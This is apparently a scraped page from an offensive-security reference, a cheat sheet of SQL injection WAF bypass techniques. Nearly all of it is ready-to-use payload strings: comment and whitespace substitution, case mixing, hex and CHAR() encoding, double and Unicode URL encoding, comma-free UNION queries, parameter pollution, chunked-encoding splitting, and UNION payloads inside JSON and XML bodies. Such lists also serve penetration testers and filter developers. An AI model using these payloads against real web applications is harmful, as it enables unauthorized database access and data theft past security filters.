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Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
SQL injection WAF bypass techniques: encoding, comments, alternative syntax, and filter evasion.
/**/ → SELECT/**/username/**/FROM/**/users + → SELECT+username+FROM+users %20 → SELECT%20username%20FROM%20users %09 (tab) → SELECT%09username%09FROM%09users %0a (newline) → SELECT%0ausername%0aFROM%0ausers %0d → carriage return () → SELECT(username)FROM(users)
-- comment --+ comment # comment /*comment*/ /*!50000 SELECT*/ 1 -- MySQL version-specific comment ;%00 -- Null byte
SeLeCt username FrOm users sElEcT uSeRnAmE fRoM uSeRs
SELECT * FROM users WHERE username=0x61646d696e -- 'admin' in hex
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)
SELECT * FROM users WHERE username="admin"
UN/**/ION SE/**/LECT UNiOn SeLeCt UNION ALL SELECT UNION%0aSELECT /*!UNION*/ /*!SELECT*/
SE/**/LECT SeLeCt %53%45%4c%45%43%54 -- URL-encoded
|| instead of OR && instead of AND
-- UNION SELECT without commas UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c -- SUBSTRING without comma SUBSTRING(database() FROM 1 FOR 1) -- LIMIT without comma LIMIT 1 OFFSET 0
LIKE instead of = IN (value) instead of =value BETWEEN value AND value REGEXP 'pattern'
' → %27 = → %3d → %20 # → %23 / → %2f
' → %2527 → %2520
' → %u0027 < → %u003c
0x61646d696e = 'admin' SELECT * FROM users WHERE name=0x61646d696e
CONCAT('ad','min') 'ad' 'min' -- Adjacent strings auto-concat
'ad'+'min'
'ad'||'min'
SUBSTRING
MID()
SUBSTR()
LEFT()
RIGHT()
ASCII
ORD()
HEX()
SLEEP
BENCHMARK(10000000,SHA1('x'))
IF
CASE WHEN ... THEN ... END
GROUP_CONCAT
CONCAT_WS()
LIMIT
information_schema
mysql.innodb_table_stats
?id=1&id=UNION&id=SELECT&id=1,2,3
Transfer-Encoding: chunked 3 id= 5 1 UNI 7 ON SELE 5 CT 1 0
{"id": "1 UNION SELECT 1,2,3-- -"}
<id>1 UNION SELECT 1,2,3-- -</id>
/**/
+
%09
%0a
UN/**/ION
UNiOn
/*!UNION*/
0x hex
CHAR()
JOIN
FROM x FOR y
LIMIT 1 OFFSET 0
LIKE
IN()
BETWEEN
REGEXP